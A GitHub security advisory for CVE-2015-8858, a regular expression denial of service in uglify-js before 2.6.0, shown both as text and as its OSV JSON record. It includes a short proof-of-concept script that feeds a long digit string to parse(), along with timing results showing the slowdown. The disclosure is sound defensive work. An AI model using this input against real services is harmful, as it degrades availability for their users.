ghsa-c9f4-xj24-8jqx
Vulnerability from github
Published
2017-10-24 18:33
Modified
2021-09-08 21:59
Severity ?
7.5 (High) - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Summary
Regular Expression Denial of Service in uglify-js
Details

Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.

Proof of Concept

``` var u = require('uglify-js'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; }

return result;

}

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;"); ```

Results

``` $ time node test.js 10000 real 0m1.091s user 0m1.047s sys 0m0.039s

$ time node test.js 80000 real 0m6.486s user 0m6.229s sys 0m0.094s ```

Recommendation

Update to version 2.6.0 or later.

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "uglify-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2015-8858"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:30:50Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Versions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method.\n\n\n### Proof of Concept\n\n```\nvar u = require(\u0027uglify-js\u0027);\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i\u003c=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\nu.parse(\"var a = \" + genstr(process.argv[2], \"1\") + \".1ee7;\");\n```\n\n### Results\n```\n$ time node test.js 10000\nreal\t0m1.091s\nuser\t0m1.047s\nsys\t0m0.039s\n\n$ time node test.js 80000\nreal\t0m6.486s\nuser\t0m6.229s\nsys\t0m0.094s\n```\n\n\n## Recommendation\n\nUpdate to version 2.6.0 or later.",
  "id": "GHSA-c9f4-xj24-8jqx",
  "modified": "2021-09-08T21:59:09Z",
  "published": "2017-10-24T18:33:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8858"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-c9f4-xj24-8jqx"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/48"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2016/04/20/11"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/96409"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular Expression Denial of Service in uglify-js"
}


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